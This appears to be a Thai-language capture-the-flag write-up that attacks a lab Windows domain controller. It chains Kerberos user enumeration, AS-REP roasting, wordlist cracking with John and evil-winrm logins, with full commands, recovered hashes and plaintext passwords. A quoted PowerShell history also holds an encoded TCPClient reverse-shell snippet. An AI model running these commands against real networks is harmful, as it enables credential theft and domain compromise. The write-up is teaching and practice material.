[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED                                                                                                                                               
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  
 ==================================( Share Enumeration on 10.52.0.203 )==================================
                                                                                                                                                                                                                  
do_connect: Connection to 10.52.0.203 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)                                                                                                                            

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
        Welcome         Disk      
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 10.52.0.203                                                                                                                                                                       
                                                                                                                                                                                                                  
//10.52.0.203/ADMIN$    Mapping: DENIED Listing: N/A Writing: N/A                                                                                                                                                 
//10.52.0.203/C$        Mapping: DENIED Listing: N/A Writing: N/A

[E] Can't understand response:                                                                                                                                                                                    
                                                                                                                                                                                                                  
NT_STATUS_NO_SUCH_FILE listing \*                                                                                                                                                                                 
//10.52.0.203/IPC$      Mapping: N/A Listing: N/A Writing: N/A
//10.52.0.203/NETLOGON  Mapping: OK Listing: DENIED Writing: N/A
//10.52.0.203/SYSVOL    Mapping: OK Listing: DENIED Writing: N/A
//10.52.0.203/Welcome   Mapping: OK Listing: OK Writing: N/A

 ============================( Password Policy Information for 10.52.0.203 )============================
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  
[E] Unexpected error from polenum:                                                                                                                                                                                
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  

[+] Attaching to 10.52.0.203 using guest

[+] Trying protocol 139/SMB...

        [!] Protocol failed: Cannot request session (Called Name:10.52.0.203)

[+] Trying protocol 445/SMB...

        [!] Protocol failed: SAMR SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.



[E] Failed to get password policy with rpcclient                                                                                                                                                                  
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  

 =======================================( Groups on 10.52.0.203 )=======================================
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  
[+] Getting builtin groups:                                                                                                                                                                                       
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  
[+]  Getting builtin group memberships:                                                                                                                                                                           
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  
[+]  Getting local groups:                                                                                                                                                                                        
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  
[+]  Getting local group memberships:                                                                                                                                                                             
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  
[+]  Getting domain groups:                                                                                                                                                                                       
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  
[+]  Getting domain group memberships:                                                                                                                                                                            
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  
 ===================( Users on 10.52.0.203 via RID cycling (RIDS: 500-550,1000-1050) )===================
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  
[I] Found new SID:                                                                                                                                                                                                
S-1-5-21-275569690-336870657-3440180796                                                                                                                                                                           

[I] Found new SID:                                                                                                                                                                                                
S-1-5-21-275569690-336870657-3440180796                                                                                                                                                                           

[I] Found new SID:                                                                                                                                                                                                
S-1-5-32                                                                                                                                                                                                                                                                                                                                                                                                                               

[I] Found new SID:                                                                                                                                                                                                
S-1-5-21-275569690-336870657-3440180796                                                                                                                                                                           

[I] Found new SID:                                                                                                                                                                                                
S-1-5-21-275569690-336870657-3440180796                                                                                                                                                                           

[I] Found new SID:                                                                                                                                                                                                
S-1-5-21-275569690-336870657-3440180796                                                                                                                                                                           

[I] Found new SID:                                                                                                                                                                                                
S-1-5-21-275569690-336870657-3440180796                                                                                                                                                                           

[+] Enumerating users using SID S-1-5-21-3130005519-2312182476-663475906 and logon username 'guest', password ''                                                                                                  
                                                                                                                                                                                                                  
S-1-5-21-3130005519-2312182476-663475906-500 DC01\Administrator (Local User)                                                                                                                                      
S-1-5-21-3130005519-2312182476-663475906-501 DC01\Guest (Local User)
S-1-5-21-3130005519-2312182476-663475906-503 DC01\DefaultAccount (Local User)
S-1-5-21-3130005519-2312182476-663475906-504 DC01\WDAGUtilityAccount (Local User)
S-1-5-21-3130005519-2312182476-663475906-513 DC01\None (Domain Group)

[+] Enumerating users using SID S-1-5-80-3139157870-2983391045-3678747466-658725712 and logon username 'guest', password ''                                  
                                                                                                                                                             
                                                                                                                                                             
[+] Enumerating users using SID S-1-5-90 and logon username 'guest', password ''                                                                             
                                                                                                                                                             
                                                                                                                                                             
[+] Enumerating users using SID S-1-5-21-275569690-336870657-3440180796 and logon username 'guest', password ''                                              
                                                                                                                                                             
S-1-5-21-275569690-336870657-3440180796-500 DROPCTF\Administrator (Local User)                                                                               
S-1-5-21-275569690-336870657-3440180796-501 DROPCTF\Guest (Local User)
S-1-5-21-275569690-336870657-3440180796-502 DROPCTF\krbtgt (Local User)
S-1-5-21-275569690-336870657-3440180796-512 DROPCTF\Domain Admins (Domain Group)
S-1-5-21-275569690-336870657-3440180796-513 DROPCTF\Domain Users (Domain Group)
S-1-5-21-275569690-336870657-3440180796-514 DROPCTF\Domain Guests (Domain Group)
S-1-5-21-275569690-336870657-3440180796-515 DROPCTF\Domain Computers (Domain Group)
S-1-5-21-275569690-336870657-3440180796-516 DROPCTF\Domain Controllers (Domain Group)
S-1-5-21-275569690-336870657-3440180796-517 DROPCTF\Cert Publishers (Local Group)
S-1-5-21-275569690-336870657-3440180796-518 DROPCTF\Schema Admins (Domain Group)
S-1-5-21-275569690-336870657-3440180796-519 DROPCTF\Enterprise Admins (Domain Group)
S-1-5-21-275569690-336870657-3440180796-520 DROPCTF\Group Policy Creator Owners (Domain Group)
S-1-5-21-275569690-336870657-3440180796-521 DROPCTF\Read-only Domain Controllers (Domain Group)
S-1-5-21-275569690-336870657-3440180796-522 DROPCTF\Cloneable Domain Controllers (Domain Group)
S-1-5-21-275569690-336870657-3440180796-525 DROPCTF\Protected Users (Domain Group)
S-1-5-21-275569690-336870657-3440180796-526 DROPCTF\Key Admins (Domain Group)
S-1-5-21-275569690-336870657-3440180796-527 DROPCTF\Enterprise Key Admins (Domain Group)
S-1-5-21-275569690-336870657-3440180796-1000 DROPCTF\DC01$ (Local User)

[+] Enumerating users using SID S-1-5-82-1707688530-3279165083-2510800103-3780832718 and logon username 'guest', password ''                                 
                                                                                                                                                             
                                                                                                                                                             
[+] Enumerating users using SID S-1-5-80 and logon username 'guest', password ''                                                                             
                                                                                                                                                             
                                                                                                                                                             
[+] Enumerating users using SID S-1-5-82-3006700770-424185619-1745488364-794895919 and logon username 'guest', password ''                                   
                                                                                                                                                             
                                                                                                                                                             
[+] Enumerating users using SID S-1-5-32 and logon username 'guest', password ''                                                                             
                                                                                                                                                             
S-1-5-32-544 BUILTIN\Administrators (Local Group)                                                                                                            
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

 ================================( Getting printer info for 10.52.0.203 )================================
                                                                                                                                                             
result was WERR_INVALID_NAME                                                                                                                                 


enum4linux complete on Sun Dec  1 01:17:28 2024

ข้อมูลที่น่าสนใจก็ คือ

[+] Enumerating users using SID S-1-5-21-275569690-336870657-3440180796 and logon username 'guest', password ''                                              
                                                                                                                                                             
S-1-5-21-275569690-336870657-3440180796-500 DROPCTF\Administrator (Local User)                                                                               
S-1-5-21-275569690-336870657-3440180796-501 DROPCTF\Guest (Local User)
S-1-5-21-275569690-336870657-3440180796-502 DROPCTF\krbtgt (Local User)

เนื่องจากทำให้เรายืนยันได้ว่าในระบบมีการทำงานของ Service Kerberos

88/tcp    open  kerberos-sec syn-ack ttl 125 Microsoft Windows Kerberos

ซึ่งต่อมาเราจะทำการใช้เครื่องมือ Kerbrute เพื่อทำการ Bruteforce เพื่อค้นหา User ในระบบ Active Directory ไปที่ Service ของ Kerberos Pre-Authentication ครับ

แต่ก่อนอื่นเรามาทำความเข้าใจถึง Kerberos Service ก่อนครับ

Basic Kerberos #

alt text

HTB TH - Meetup : Windows Domain Offensive Security 101 by Pichaya Morimoto

ผมขออ้างอิงจาก Note พี่ตะเช่นเคยครับ ว่ากันด้วยเรื่องของ Service Kerberos เป็น Network Authentication Protocol ที่มีการทำงานยืนยันตัวตนโดยการใช้ตั๋ว หรือ Ticket เวลาที่ User จะร้องขอใช้บริการ Service ในระบบต่างๆ ครับ

จากแผนภาพอธิบายง่ายๆ ว่าเวลาที่เราจะไปเล่นสวนสนุก ก่อนที่จะเข้าไปสวนสนุกได้ก็ต้องซื้อตั๋วเข้าไปเล่นก่อนใช่มั้ยครับ ตั๋วในที่นี้ก็คือ TGT (Ticket-Granting-Ticket) ที่จะสามารถผ่านประตูเข้าไปในสวนสนุกได้ในที่นี้เปรียบเสมือนกับ Windows Domain นั่นเอง จากนั้นถ้าเราจะไปเล่นเครื่องเล่นเราก็ต้องซื้อตั๋วเครื่องเล่นต่อ ในที่นี้ก็คือ ST (Service-Ticket) สรุปแล้วการที่เราจะสามารถใช้บริการใดๆ ในระบบ AD เราก็จำเป็นที่จะต้องมี TGT และ ST ในการใช้บริการนั่นๆ ได้ครับ

Kerberos Authentication #

ในกระบวนการยืนยันตัวตนของ Service Kerberos

1. Client -Request-> Windows Server (DC - Domain Controller) #

alt text

HTB TH - Meetup : Windows Domain Offensive Security 101 by Pichaya Morimoto

  • 1.1 AS-REQ (Authentication Service Request) : Client ขอเป็น User A
  • 1.2 Kerberos Pre-Authentication : Client ส่งค่า Encrypt [Timestamp + User Key = NTLM (Password A)]

กระบวนการดังกล่าวส่งไปพร้อมกันนะครับ แต่แค่อธิบายให้เห็นภาพว่าแต่ละกระบวนการนี้เรียกว่าอะไร

NOTE
  • NT (New Technology) LAN Manager (NTLM) คือชุดโปรโตคอล ความปลอดภัยของ Microsoft ที่มีจุดประสงค์เพื่อให้การรับรอง ความถูกต้อง ความสมบูรณ์ และการรักษาความลับแก่ผู้ใช้

src : NTLM - Wikipedia

NOTE

alt text

  • Kerberos จะต้องมีส่วนเซิร์ฟเวอร์เอาไว้ยืนยันตัวตนชื่อว่า Key Distribution Center (KDC) ซึ่งประกอบไปด้วยอีก 2 ส่วนย่อยคือ Authentication Service (AS) กับ Ticket Granting Service (TGS)

src : Kerberos Authentication Vulnerabilities - Cyfence

NOTE
  • krbtgt Account เป็น Local Account ในระบบ Domain จะถูกสร้างขึ้นพร้อมกับการ Promote domain และถูกใช้เป็น Service account สำหรับ Service ที่ชื่อว่า Key Distribution Center (KDC)

Promote domain

  • Authentication Service (AS) : เมื่อเครื่องลูกข่ายทำการ Login เข้าสู่ระบบ จะต้อง Authenticate กับเครื่อง Domain Controller และจะได้รับ Ticket ที่เรียกว่า Ticket Granting Ticket (TGT) ขึ้นมาก่อน จากนั้นจึงนำ TGT ไปขอใช้สิทธิ์ในการเข้าถึงข้อมูลในเครื่องอื่นๆ ซึ่ง TGT นี้จะใช้ได้เฉพาะใน Domain ของตัวเองเท่านั้น และสามารถใช้ซ้ำได้เรื่อยๆ ตราบใดที่ TGT ยังไม่หมดอายุ

  • Ticket Granting Service (TGS) : แต่ถ้าเครื่องคอมพิวเตอร์ต้องการติดต่อข้าม Domain กัน TGT ที่ออกมาตามข้อ 1 จะต้องไปผ่าน TGS ของ Domain ปลายทางอีกทีเพื่อออก TGT ของ Domain ปลายทางซ้ำอีกครั้งหนึ่ง

src : Ransomware แนวใหม่ กับ Golden Ticket ของ Active Directory - mvpskill

IMPORTANT

ซึ่ง Account นี้จะ Disable ไว้ครับ ลบก็ไม่ได้ แก้ไขอะไรไม่ได้สักอย่างเดียวครับ

2. Client <-Response- Windows Server (DC - Domain Controller) #

alt text

HTB TH - Meetup : Windows Domain Offensive Security 101 by Pichaya Morimoto

  • ก่อนที่ Windows Server จะตอบกลับจากขั้นตอนที่แล้ว เมื่อได้รับ AS-REQ (Authentication Service Request) Windows Server จะทำการตรวจสอบ Password Hash ของ User ใน ntds.dit ซึ่งถ้าถูกต้อง และ Timestamp ไม่ซั้า ก็จะตอบกลับด้วยสร้างค่า Challenge + NTLM User A = TGT (Ticket-Granting-Ticket)
  • AS-REP (Authentication Service Response) : ส่ง TGT กลับไปที่ Client

3-4. Client -Request-> Windows Server (DC - Domain Controller) #

alt text

HTB TH - Meetup : Windows Domain Offensive Security 101 by Pichaya Morimoto

    1. ใส่รหัส User A : Decrypt(TGT, key = NTLM User A)
    1. Client ส่ง TGS-REQ (Ticket Granting Service Request) ไปให้ Server

5. Client <-Response- Windows Server (DC - Domain Controller) #

alt text

HTB TH - Meetup : Windows Domain Offensive Security 101 by Pichaya Morimoto

  • Server ส่ง TGS-Rep (Ticket Granting Service Response) นั่นคือ Service Ticket (ST) ไปให้ Client
  • โดยใน Service Ticket ก็จะมีระบุว่าคนที่ขอไป เป็นใครขอเมื่อไร

ซึ่งเราสามารถใช้เทคนิคที่เรียกว่า Kerberoasting ในการโจมตีครับนั่นคือ เราจะสร้าง Golden Ticket โดยทำการถอดรหัส

  • TGT (Ticket Granting Service) จะเข้ารหัสด้วย User A + Key = NTLM krbtgt นั่นแสดงว่า ถ้าเราสามารถ Crack NTLM hash ของ Account krbtgt แล้วได้ Password มาเราก็จะสามารถสร้าง TGT ใหม่โดยเปลี่ยน User แล้วปลอมเป็นใครก็ได้ในระบบ

6. Client -Request-> Windows Server (DC - Domain Controller) #

alt text

HTB TH - Meetup : Windows Domain Offensive Security 101 by Pichaya Morimoto

  • สุดท้ายคือ Client ส่ง Service Ticket (ST) ไปที่ Service ต่างๆในระบบ AD เพื่อใช้ในการยืนยันตัวตนแล้วสามารถใช้งาน Service นั่นได้ครับ 🎉

ที่นี้มาต่อกันครับ ดังนั้นสิ่งที่เราจะรู้ก็คือ User ในระบบ AD ครับ ซึ่งเราสามารถใช้เครื่องมืออย่าง Kerbrute ในการค้นหาครับ

Port 88/tcp #

Kerbrute #

./kerbrute_linux_386  --dc 10.52.0.203 -d dropctf.prms userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

Kerbrute result#

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 12/01/24 - Ronnie Flathers @ropnop

2024/12/01 01:40:27 >  Using KDC(s):
2024/12/01 01:40:27 >   10.52.0.203:88
2024/12/01 01:40:28 >  [+] VALID USERNAME:       stephen@dropctf.prms
2024/12/01 01:40:28 >  [+] VALID USERNAME:       andy@dropctf.prms
2024/12/01 01:40:29 >  [+] VALID USERNAME:       guest@dropctf.prms
2024/12/01 01:40:31 >  [+] VALID USERNAME:       Stephen@dropctf.prms
2024/12/01 01:40:31 >  [+] VALID USERNAME:       administrator@dropctf.prms
2024/12/01 01:40:35 >  [+] VALID USERNAME:       Andy@dropctf.prms
2024/12/01 01:40:43 >  [+] VALID USERNAME:       STEPHEN@dropctf.prms
2024/12/01 01:40:57 >  [+] VALID USERNAME:       Guest@dropctf.prms
2024/12/01 01:40:57 >  [+] VALID USERNAME:       Administrator@dropctf.prms
2024/12/01 01:40:58 >  [+] VALID USERNAME:       franken@dropctf.prms
2024/12/01 01:41:24 >  [+] VALID USERNAME:       ANDY@dropctf.prms
2024/12/01 01:42:32 >  [+] VALID USERNAME:       GUEST@dropctf.prms
2024/12/01 01:42:32 >  [+] VALID USERNAME:       Franken@dropctf.prms

สรุปแล้วเราจะได้ User

stephen
andy
guest
franken
administrator

หลังจากนั้นเราสามารถใช้เทคนิค NTLM Challenge Response เพื่อทำการ MitM (Man-in-the-Middle) เพื่อที่เราจะได้ทำการ Crack NTLM Hash เพื่อหาได้ครับ ซึ่งจะนำไปสู่การที่เราสามารถ Remote เข้าไปในเครื่องเป้าหมายได้ครับ

NTLM Challenge Response #

ต่อมาเรามาทำความเข้าใจเรื่องของ NTLM Challenge Response กันครับ

alt text

HTB TH - Meetup : Windows Domain Offensive Security 101 by Pichaya Morimoto

  1. Client -Request-> Windows Server (DC - Domain Controller)

    • ซึ่งใน Client จะมี Process lsass.exe ซึ่งจะรันตลอดเวลาเพื่อเป็นการตรวจสอบความถูกต้องของข้อมูลครับในขณะที่ User กำลังล็อคอินอยู่ในระบบครับ
    NOTE

    LSASS จะย่อมาจาก Local Security Authority Subsystem Service ซึ่งมีหน้าที่หลักคือช่วยจัดการระบบรักษาความปลอดภัยและล็อกอินของยูสเซอร์ โดยผู้ใช้สามารถพบไฟล์นี้ได้ในโฟลเดอร์ c:\windows\system32 หรือ c:\winnt\system32

    src :

  2. Client <-Response- Windows Server (DC - Domain Controller)

    • Server สร้าง Nonce Challenge + Domain Password (NTLM)
    NOTE

    Nonce ย่อมาจาก “number used once” โดยในทาง Computer Security หมายถึงค่าที่ได้จากการสุ่มสร้างขึ้นมาสำหรับใช้ในกระบวนการยืนยันตัวตน โดยมีจุดประสงค์เพื่อป้องกันการโจมตีด้วยวิธีการส่งข้อมูลซ้ำ (Replay Attack)

    src : Nonce

    • ส่งค่า Challenge กลับไปยัง Client

alt text

HTB TH - Meetup : Windows Domain Offensive Security 101 by Pichaya Morimoto

  1. Client สร้างค่า Response ด้วยการเข้ารหัส Challenge + Timestamp + Key = NTLM Hash ของ User

  2. Client ส่งค่า Response กลับไปยัง Server ตัวอย่างเช่น Server = YYYY

  3. Server ทำการตรวจสอบ

    • Server ทำการเข้ารหัส Challenge + Key = NTLM User = XXX
    • โดยถ้า YYYY = XXX ถือว่าถูกต้องครับ 🎉

ที่นี้ครับ มันก็จะมีเทคนิคการทำ MitM (Man-in-the-middle) ในการดักค่าในกระบวนการ ขั้นตอนที่ 4 ได้ครับ

alt text

HTB TH - Meetup : Windows Domain Offensive Security 101 by Pichaya Morimoto

ที่นี้เรามาต่อกันครับ ดังนั้นเราจะทำการ MitM (Man-in-the-middle) ระหว่างที่ Kerberos Service ส่ง AS-REP (Response)กลับมาที่ เครื่อง Client ครับ เพื่อที่เราจะได้ TGT ออกมาแล้วทำการ Crack NTLM Hash ครับ ซึ่งเครื่องมือที่เราจะใช้นั้นก็คือ impacket-GetNPUsers


Exploitation #

Impacket-GetNPUser #

user : guest#

impacket-GetNPUsers -dc-ip 10.52.0.203  -request dropctf.prms/guest -no-pass

result#

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Getting TGT for guest
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
$krb5asrep$23$guest@DROPCTF.PRMS:e623e23eeb4098bc6a9d5a25adfb87c5$df44df52bdf8389196fd3ccca6ee9e4c702a5fc1f8e9cfd8b586c43caecb934fd904ae62b787960f45da49d7219e9f437c42afd92976288cd583e5bb62afed97a524a41058de4cde2a12b3e6b7a36e39b4b453255daac420edbdcb76ce2239a5b2ca8ab4eb800081d09be6891888b0cd50b6b40c97c4fbfdba4886feb9e2bb59aa9966d03a4b4abf6e129b4418a85e682d730d44033804fb8100ff3baeeaa9c68d31fd9498a95d4150b9c616f39c1da6399babd44baa32cd71bad65a6a77ada71164a48bc02449c766c72d9ae13ad1651455e32e8ed5dc0b8cc4154ee67b6cdcc5ebf274aa4abd4cc637eb07

user : stephen#

impacket-GetNPUsers -dc-ip 10.52.0.203  -request dropctf.prms/stephen -no-pass

result#

[*] Getting TGT for stephen
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
$krb5asrep$23$stephen@DROPCTF.PRMS:59bdfb987ad980e27743a4aa7499e85c$1b6102ab78bb86a33a8287e14a24c09f5d4e3aee850d0ccb4a1529ce89ab6a4e2d58424c2c329a60c64b05d49300099e653c0f8d6f007175989c2e9466faaac6b861a54a727495e40db7f3f1824ca59e274c53a4f5bc5ea72fda696db38f4bde880607daf8f43dc7d8972e276e525d9be84fe4db42b3f613f4a5f0e37540524f7c1fa810abfe5890b5edc2a5024778a33b6caec0b6ea45e2f78581c3766efbd985540ab3b4623c21105545a1f4c64a3254ba02a3fbadffe5bda1d3dcb334261d52bf8a6a7d8bea5aad9a1b39a48d1c6923f299e2f7ff6ab1bb06b6d70826aa53d72b9ca8e3a6500cb4d4851f

ที่นี้เราจะทำการหา Wordlist กันครับซึ่งผมได้ลองใช้เครื่องมืออย่าง gobuster ในการทำ Directory Fuzzing เพื่อค้นหา Path ที่ซ้อนอยู่ครับ

Gobuster #

gobuster dir -u 10.52.0.203 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,sh,txt,cgi,html,js,css,py

result#

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.52.0.203
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,js,css,py,php,sh,txt,cgi
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/blog.html            (Status: 200) [Size: 4254]

จากนั้นเราก็จะพบกับ Path blog.html ครับ ซึ่งเราสามารถใช้เครื่องมือ Cewl เพื่อดึงคำศัพท์ต่างๆ บนเว็บไซต์ไปทำเป็น Wordlist ได้ครับ

Cewl #

cewl -w blogwords.txt http://10.52.0.203/blog.html

result#

> cat blogwords.txt
the
Travel
Blog
and
world
with
Mountainking
Explore
Adventure
most
Adventures
World
One
Journey
Time
Home
About
Contact
Discover
Most
Stunning
Beaches
Immerse
yourself
serenity
crystal
clear
waters
soft
white
sands
where
every
sunset
feels
like
painting
Awaits
Mountains
Breathe
fresh
air
take
breathtaking
views
from
majestic
peaks
Embark
journey
for
unforgettable
memories
Uncover
Charm
Bustling
Cities
Experience
vibrant
energy
dazzling
lights
rich
culture
dynamic
urban
landscapes
Crafted
love
share
wonders
beauty
our
travel
stories
stunning
photos
Beach
Getaway
Mountain
City
Exploration

เราจะได้คำศัพท์มาทั้งหมด 82 คำครับ ต่อไปเราก็จะทำการ Crack NTLM Hash กันครับ

John The Ripper #

john --wordlist=blogwords.txt hashz.txt

result#

Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Mountainking     ($krb5asrep$23$stephen@DROPCTF.PRMS)     
1g 0:00:00:00 DONE (2024-12-01 10:06) 50.00g/s 4100p/s 4100c/s 4100C/s the..Exploration
Use the "--show" option to display all of the cracked passwords reliably

จากนั้นเราก็จะได้ Password ของ User stephen มาใช้แล้วครับ 🎉

Evil-winrm #

เราสามารถใช้เครื่องมืออย่าง Evil-winrm ในการ Remote เข้าเครื่อง Windows Server (DC) ได้ครับ

evil-winrm -i 10.52.0.203 -u 'stephen' -p 'Mountainking'
*Evil-WinRM* PS C:\Users> dir


    Directory: C:\Users


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       11/28/2024  12:49 AM                Administrator
d-----       11/29/2024   1:45 AM                andy
d-----        12/2/2024   3:32 AM                franken
d-r---        12/2/2024   3:26 AM                Public
d-----       11/29/2024   1:32 AM                stephen

ซึ่งจะเห็นว่าในระบบมี User ทั้งหมดตามที่เราได้ทำการใช้เครื่องมือ Kerbrute ไปครับ

*Evil-WinRM* PS C:\Users\stephen\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> type ConsoleHost_history.txt
history
ipconfig /all
ping google.com
routines_mammy6taylor
tracert 8.8.8.8
netstat -an
define("DB_SERVER","dropctf.prms");
define("DB_USER","franken");
define("DB_PASS","cbyyvat5yvzo_fuvsgrq");
define("DB_NAME","secret");
tasklist
taskkill /PID 1234 /F
powershell -e
IiRUQ1BDbGllbnQgPSBOZXctT2JqZWN0IE5ldC5Tb2NrZXRzLlRDUENsaWVudCgnZnJhbmtlbiBwb2xsaW5nNWxpbWJfc2hpZnRlZCAnLCAwKTskTmV0d29ya1N0cmVhbSA9ICRUQ1BDbGllbnQuR2V0U3RyZWFtKCk7JFN0cmVhbVdyaXRlciA9IE5ldy1PYmplY3QgSU8uU3RyZWFtV3JpdGVyKCROZXR3b3JrU3RyZWFtKTtmdW5jdGlvbiBXcml0ZVRvU3RyZWFtICgkU3RyaW5nKSB7W2J5dGVbXV0kc2NyaXB0OkJ1ZmZlciA9IDAuLiRUQ1BDbGllbnQuUmVjZWl2ZUJ1ZmZlclNpemUgfCAlIHswfTskU3RyZWFtV3JpdGV
dir /s /p
cd C:\Windows\System32
mkdir MyFolder

ที่นี้ผมก็ได้ทำการ Enumeration ข้อมูลในระบบด้วยสิทธิ์ User stephen ก็จะทำให้เราค้นพบกับ Password ของ User franken ครับ

alt text

ซึ่ง Password ถูกเข้ารหัสด้วย Rot13 ครับ

evil-winrm -i 10.52.0.203 -u 'franken' -p 'polling5limb_shifted'
*Evil-WinRM* PS C:\Users\franken> ls


    Directory: C:\Users\franken


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---       11/29/2024   1:41 AM                3D Objects
d-r---       11/29/2024   1:41 AM                Contacts
d-r---        12/2/2024   2:29 PM                Desktop
d-r---        12/2/2024   2:23 PM                Documents
d-r---       11/29/2024   1:41 AM                Downloads
d-r---       11/29/2024   1:41 AM                Favorites
d-r---       11/29/2024   1:41 AM                Links
d-r---       11/29/2024   1:41 AM                Music
d-r---       11/29/2024   1:41 AM                Pictures
d-r---       11/29/2024   1:41 AM                Saved Games
d-r---       11/29/2024   1:41 AM                Searches
d-r---       11/29/2024   1:41 AM                Videos
-a----        12/2/2024   3:32 AM           2434 data.kdbx

ซึ่งจะเห็นว่าในโฟลเดอร์ของ User franken จะมีไฟล์ data.kdbx ครับ

*Evil-WinRM* PS C:\Users\franken> type data.kdbx
A9mimmf7S7UAAAIAAhAAMcHy5r9xQ1C+WAUhavxa/wMEAAEAAAAEIAByeJ/0eVoP5hsJzQVmT7zrSu+08SWHqvwjxGjVr3/wJQUgANe2YkhW02BM7DKuFl2e+Va7RzNwW2dHbUMcdf5pIt0BBggAcBcAAAAAAAAHEADmyYWZge90OmdRus4aB10MCCAA6jauMR7VayoY5mUkF9oB8Xzp1xKWteXl1kuhcb9iuMwJIABmDtyrcO1BJzWQU2JvR5sNSkOMPU6Qax+I3S7Dl44hkgoEAAIAAAAABAANCg0Klntj1IHPzb9/QdRzSzNIOdkXsOpaiSa8RBgP+2g9kYZ7Oo1KD2EkzLe+D2/vfJMjYzfTuv7oDnCkAtFqWtyAjIwxh7WolRe+ej1sK6uTD7XWZb55qxevXVkqplps0tHydyOswN2rf0OycQLGIRTJ9wXe2MN68FP/jJQlrh+V++bLVvK7hSu5YhIt6AAdsJMABowzsjnW64VzG4uamwBByLtslSPq9ymbOEih2yMilkVzkdf5CVOT9hh9Xd3NIeb2e1NVxFQVx51UR6oX7jVlMr88N9YErtPyoV5wgjOleg5Vbd09W3kx4yutqAtwczgsxTzodhR27CACZmyBVW07ZfA6k+CaODCW5vF+5dUuoggM9ds4Ckme48SyY0u3/PbB4eJ8gdtkGcmIdX6zB5/a5EQlSP9YafWctgnQPRm5BFK3Pj7uxLcTs6pwI8NsqhA7jFXBvZxv81dVVgGD5xLEkDqqv38sgQyVeAwctQ0X48lhqjXXQOFLlAEiz/V9hPkFOFcHdAT3+F4yEYmgFUxln8w7wnqcPAH59NNACmNyIcIxivDlyyRszCjxh23QoLJV8GzpGc40uYhK38MsDkoi5OGSW0Xm1Zjv5Yqp619hPnrl6E9dRsi2GODpnhg+fKDibSq6pqnwcgKNJ0UVcZkoM9bdq/phL49h/DxDawmL567LNlNVIYWBSu4p5sievSuOZ9aVHYGWFavdrcZKDeU9Nk5zgg/cbnu1xwTyIr4217G7sZ7cMS2MCMj15vdNmS401wLUoXR2mQooC0LrXHhRdVEFkTRZJY1LIaiCubtrVIKOZx8AqVeTvnsdP2VImHzHTkPjYUb6kz3ZH+z4hyMby3uTvTnxKxu5fS9NqAUPBWnOhkZcjg3S+PvCXw2sK63cLBvMKMzOCnFEnQnvdC9nXA7MowbJ1Z9yOvP661NuSCGhzT+sDR9xp360N9AbDmhsjWQvBOOQIJWxN+UrAErVsLLaRXATE/i3EX76j/ByY8OZFsedK7QmCpXqp72cGBvALmvKlANeKZtqHcgpf/HTkIyFWw5WwHXKPqanc7FQaxgv0cwO1Y8/w+RXsY6aka9Axfnd2I/gReysjx83q791+dyeKCmnt1QPmvkTTTn9gSjkdbjY50BxP1z0StbwJrb4CAR6J1Wg4AnkrRB8RHplIU99m3Sf6JYI4PXOCBqNkKhyAuNHvflzDJlW0am2M/Be9zdq9Jiqk1f8rMsypnSkLO+0gVNUEKIAo+J56ayg+LWW39H3SR3uZrbY/A5IXmIytTePwm/sf2Q/d7LM/zcrkDR4pQoesun3j3Ah3+orgtnvYi0Ft77szQDlVDO4VZKgEGTFcgEdi5QvbZH2ej4l+wbPT8Hoyf2HgBFYyxSuWaOoEZuRj1Y1AzXrSofSMqPuhpbbVhhK4qcL3jMI07hqaZS1